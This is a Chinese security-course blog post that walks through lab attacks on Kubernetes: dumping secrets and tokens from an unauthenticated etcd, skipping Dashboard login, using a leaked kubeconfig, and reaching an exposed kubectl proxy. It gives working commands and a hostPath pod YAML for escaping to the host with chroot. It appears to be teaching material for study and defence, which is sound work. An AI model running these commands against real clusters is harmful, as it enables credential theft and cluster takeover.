首页 > 其他分享 >【第98课】云原生篇&K8s安全&Config泄漏&Etcd存储&Dashboard鉴权&Proxy暴露

【第98课】云原生篇&K8s安全&Config泄漏&Etcd存储&Dashboard鉴权&Proxy暴露

时间:2024-09-07 10:53:38浏览次数:13  
标签:kubectl 访问 -- 192.168 98 token Dashboard Etcd K8s

免责声明

本文发布的工具和脚本,仅用作测试和学习研究,禁止用于商业用途,不能保证其合法性,准确性,完整性和有效性,请根据情况自行判断。

如果任何单位或个人认为该项目的脚本可能涉嫌侵犯其权利,则应及时通知并提供身份证明,所有权证明,我们将在收到认证文件后删除相关内容。

文中所涉及的技术、思路及工具等相关知识仅供安全为目的的学习使用,任何人不得将其应用于非法用途及盈利等目的,间接使用文章中的任何工具、思路及技术,我方对于由此引起的法律后果概不负责。

知识点

1、云原生-K8s安全-etcd未授权访问
2、云原生-K8s安全-Dashboard未授权访问
3、云原生-K8s安全-Configfile鉴权文件泄漏
4、云原生-K8s安全-Kubectl Proxy不安全配置

章节点:
云场景攻防:公有云,私有云,混合云,虚拟化集群,云桌面等
云厂商攻防:阿里云,腾讯云,华为云,亚马云,谷歌云,微软云等
云服务攻防:对象存储,云数据库,弹性计算服务器,VPC&RAM等
云原生攻防:Docker,Kubernetes(k8s),容器逃逸,CI/CD等

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

搭建环境使用3台Centos 7(可参考录像或者看下面两个文章搭建)
centos7安装kubernetes k8s v1.16.0 国内环境 - 简书
https://blog.csdn.net/fly910905/article/details/120887686

一个集群包含三个节点,其中包括一个控制节点和两个工作节点和一个数据库节点

K8s-master 192.168.139.130
K8s-node1 192.168.139.131
K8s-node2 192.168.139.132
k8s-etcd 192.168.139.136

在这里插入图片描述

一、演示案例-云原生-K8s安全-etcd(Master-数据库)未授权访问

实战中不会常见,利用条件比较苛刻。
默认通过证书认证,起一个数据库作用。主要存放节点的数据,如一些token和证书。

攻击23791端口

在这里插入图片描述

配置文件:

/etc/kubernetes/manifests/etcd.yaml

在这里插入图片描述

第一种(满足)
在安装etcd时,没有配置指定--client-cert-auth 参数打开证书校验,暴露在外Etcd服务存在未授权访问风险。
-暴露外部可以访问,直接未授权访问获取secrets和token利用

在这里插入图片描述
重启kubelet进程

systemctl restart kubelet

在这里插入图片描述

第二种
在打开证书校验选项后,通过本地127.0.0.1:2379可免认证访问Etcd服务,但通过其他地址访问要携带cert(证书)进行认证访问,一般配合ssrf或其他利用,较为鸡肋。
-只能本地访问,直接未授权访问获取secrets和token利用
第三种(满足)
实战中在安装k8s默认的配置2379只会监听本地(127.0.0.1),如果访问没设置0.0.0.0暴露,那么也就意味着最多就是本地访问,不能公网访问,只能配合ssrf或其他。
-只能本地访问,利用ssrf或其他进行获取secrets和token利用

复现搭建

https://www.cnblogs.com/qtzd/p/k8s_etcd.html

复现利用:

etcdV2/V3版本利用参考:
https://www.cnblogs.com/qtzd/p/k8s_etcd.html
https://www.wangan.com/p/7fy7f81f02d9563a

暴露etcd未授权->获取secrets&token->通过token访问API-Server接管

etcdV2版本利用

直接访问http://ip:2379/v2/keys/?recursive=true ,
可以看到所有的key-value值。(secrets token)
在这里插入图片描述

etcdV3版本利用

安装etcdctl

Releases · etcd-io/etcd · GitHub

安装kubectl

在 Linux 系统中安装并设置 kubectl | Kubernetes

1、连接提交测试
./etcdctl --endpoints=192.168.139.136:23791 get / --prefix

在这里插入图片描述

./etcdctl --endpoints=192.168.139.136:23791 put /testdir/testkey1 "Hello world1"

在这里插入图片描述

./etcdctl --
endpoints=192.168.139.136:23791 put /testdir/testkey2 "Hello world2"
./etcdctl --
endpoints=192.168.139.136:23791 put /testdir/testkey3 "Hello world3"
2、获取k8s的secrets
./etcdctl --endpoints=192.168.139.136:23791 get / --prefix --keys-only | grep /secrets/
3、读取service account token
./etcdctl --endpoints=192.168.139.136:23791 get / --prefix --keys-only | grep /secrets/kube-system/clusterrole

./etcdctl --endpoints=192.168.139.136:23791 get /registry/secrets/kube-system/clusterrole-aggregation-controller-token-jdp5z
4、通过token访问API-Server,获取集群的权限
kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443/ --token="ey..." -n kube-system get pods
SSRF解决限制访问->获取secrets&token->通过token访问API-Server接管

二、演示案例-云原生-K8s安全-Dashboard(Master-web面板)未授权访问

默认端口:8001(一般会被映射成别的端口)

配置不当导致dashboard未授权访问,通过dashboard我们可以控制整个集群。
kubernetes dashboard的未授权其实分两种情况:
一种是在本身就存在着不需要登录的http接口,但接口本身并不会暴露出来,如接口被暴露在外,就会导致dashboard未授权。
另外一种情况则是开发嫌登录麻烦,修改了配置文件,使得安全接口https的dashboard页面可以跳过登录。

复现利用

前提条件
用户开启enable-skip-login时可以在登录界面点击跳过登录进dashboard
Kubernetes-dashboard绑定cluster-admin(拥有管理集群的最高权限)
1、安装

kubernetes -- 搭建 DashBoard_创建kubernetes-dashboard.yaml-CSDN博客

2、启动
kubectl create -f recommended.yaml 

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3、卸载
kubectl delete -f recommended.yaml
4、查看状态
kubectl get pod,svc -n kubernetes-dashboard
5、利用:新增Pod后续同前面利用一致
apiVersion: v1
kind: Pod
metadata:
  name: xiaodisec
spec:
  containers:
  - image: nginx
    name: xiaodisec
    volumeMounts:
    - mountPath: /mnt
      name: test-volume
  volumes:
  - name: test-volume
    hostPath:
      path: /

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

找到暴露面板->dashboard跳过-创建或上传pod->进入pod执行-利用挂载逃逸

三、演示案例-云原生-K8s安全-Configfile鉴权文件泄漏

攻击者通过Webshell、Github等拿到了K8s配置的Config文件,操作集群,从而接管所有容器。
K8s configfile作为K8s集群的管理凭证,其中包含有关K8s集群的详细信息(API Server、登录凭证)。
如果攻击者能够访问到此文件(如办公网员工机器入侵、泄露到Github的代码等),就可以直接通过API Server接管K8s集群,带来风险隐患。用户凭证保存
在kubeconfig文件中,通过以下顺序来找到kubeconfig文件:
-如果提供了--kubeconfig参数,就使用提供的kubeconfig文件
-如果没有提供--kubeconfig参数,但设置了环境变量$KUBECONFIG,则使用该环境变量提供的kubeconfig文件

-如果以上两种情况都没有,kubectl就使用默认的kubeconfig文件~/.kube/config

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

复现利用

K8s-configfile->创建Pod/挂载主机路径->Kubectl进入容器->利用挂载逃逸
1、将获取到的config复制
2、安装kubectl使用config连接

安装kubectl:
在 Linux 系统中安装并设置 kubectl | Kubernetes
连接:

kubectl -s https://192.168.139.130:6443/ --kubeconfig=config --insecure-skip-tls-verify=true get nodes

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3、上传利用test.yaml创建pod
kubectl apply -f test.yaml -n default --kubeconfig=config

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

4、连接pod后进行容器挂载逃逸
kubectl exec -it xiaodisec bash -n default --kubeconfig=config

在这里插入图片描述

cd /mnt
chroot . bash

在这里插入图片描述

四、演示案例-云原生-K8s安全-Kubectl Proxy不安全配置

当运维人员需要某个环境暴露端口或者IP时,会用到Kubectl Proxy
使用kubectl proxy命令就可以使API server监听在本地的xxxx端口上

在这里插入图片描述

环境搭建

kubectl --insecure-skip-tls-verify proxy --accept-hosts=^.*$ --address=0.0.0.0 --port=8009  

在这里插入图片描述
在这里插入图片描述

复现利用

类似某个不需认证的服务应用只能本地访问被代理出去后形成了外部攻击入口点。
找到暴露入口点,根据类型选择合适方案
kubectl -s http://192.168.139.130:8009 get pods -n kube-system

在这里插入图片描述

标签:kubectl,访问,--,192.168,98,token,Dashboard,Etcd,K8s
From: https://blog.csdn.net/Lucker_YYY/article/details/141854645

相关文章

  • 代码随想录算法训练营第五十天 | 98. 所有可达路径
    目录98.所有可达路径思路图的存储邻接矩阵         邻接表深度优先搜索1.确认递归函数,参数2.确认终止条件3.处理目前搜索节点出发的路径方法一:邻接矩阵写法方法二:邻接表写法98.所有可达路径题目链接:卡码网题目链接(ACM模式)文章讲解:代码随想录 ......
  • etcd数据备份与恢复
    etcd数据备份与恢复 单节点etcd数据备份与恢复一、数据备份1、设置环境变量ETCDCTL_API=3 2、创建备份目录,使用快照备份mkdir-p/data/etcd/backupetcdctlsnapshotsave/data/etcd/backup/etcd.db 二、数据恢复1、停止etcd服务systemctlstop......
  • 蔚来发布新财报,亏损收窄,营收同比增长98.9%!
    KlipC报道:9月5日,蔚来发布2024年二季度财报,财报显示,营收174.5亿元,同比增长98.9%,环比增长76.1%;交付量5.74万台,同比增长143.9%,环比增长90.9%;营收和交付量双创新高。整车毛利率12.2%,同比提升6个百分点,环比提升3个百分点;净亏损50.46亿元,同比收窄16.7%,环比收窄2.7%。蔚来CEO李斌表示,“......
  • Kubernetes-etcd备份恢复
    目录使用etcdctl备份与恢复简介集群信息etcdctl安装下载安装同步到其他节点配置环境变量查看集群状态查看所有key查看指定key备份所有节点创建备份目录备份etcd数据恢复删除资源所有master节点停止etcd所有master节点备份原有数据master01恢复master02恢复master03恢复所有节点启......
  • etcd集群新增节点和移除节点
    etcd集群新增节点和删除节点现在的集群信息是: 新增节点1、下载etcd二进制包wgethttps://github.com/etcd-io/etcd/releases/download/v3.5.15/etcd-v3.5.15-linux-amd64.tar.gz2、创建etcd目录mkdir-p/data/etcd/{data,ssl,bin}3、解压并......
  • 记一次阿里云搭建K8S在恢复镜像快照之后etcd一个节点无法启动问题
    环境查看系统环境#cat/etc/redhat-releaseCentOSLinuxrelease7.9.2009(Core)#uname-aLinuxCentOS7K8SMaster010051013.10.0-1160.114.2.el7.x86_64#1SMPWedMar2015:54:52UTC2024x86_64x86_64x86_64GNU/Linux软件环境#kubectlversionClientVe......
  • HJ98 自动售货系统
    题目:https://www.nowcoder.com/practice/cd82dc8a4727404ca5d32fcb487c50bf?tpId=37&tqId=21321&rp=1&ru=/exam/oj/ta&qru=/exam/oj/ta&sourceUrl=%2Fexam%2Foj%2Fta%3FtpId%3D37&difficulty=undefined&judgeStatus=undefined&tags=&title......
  • 代码随想录训练营 Day50打卡 图论part01 理论基础 98. 所有可达路径
    代码随想录训练营Day50打卡图论part01一、理论基础DFS(深度优先搜索)和BFS(广度优先搜索)在图搜索中的核心区别主要体现在搜索策略上:1、搜索方向:DFS:深度优先,一条路走到黑。DFS从起点开始,选择一个方向深入到底,遇到死胡同再回溯,换一个方向继续探索。这种方式适合解决路径......
  • Error: xz: undefined method `deny_network_access!' for Formulary::FormulaNamespa
      ==>Fetchingxz==>Downloadinghttps://raw.githubusercontent.com/Homebrew/homebrew-core/c7f385112a4c2b9eed76b346d11d333fa8954a89/Formula/x/xz.rbAlreadydownloaded:/Users/wboll/Library/Caches/Homebrew/downloads/049af374432798d3b924a0d36bdcd6......
  • 【日记】想见珍一面怎么就这么难(985 字)
    正文想见珍一面怎么就这么难……事故频发。昨天说考试时间跟机票时间冲突了,最后结果出来了,改签了,并且差价不补。我不干,他们也不干。因为上级行给我们行长施压,于是我们行长给我施压。最后要到了国庆之前拔智齿的一天假期。我随即改签机票,改签只能改同一个航空公司,而稍晚一些......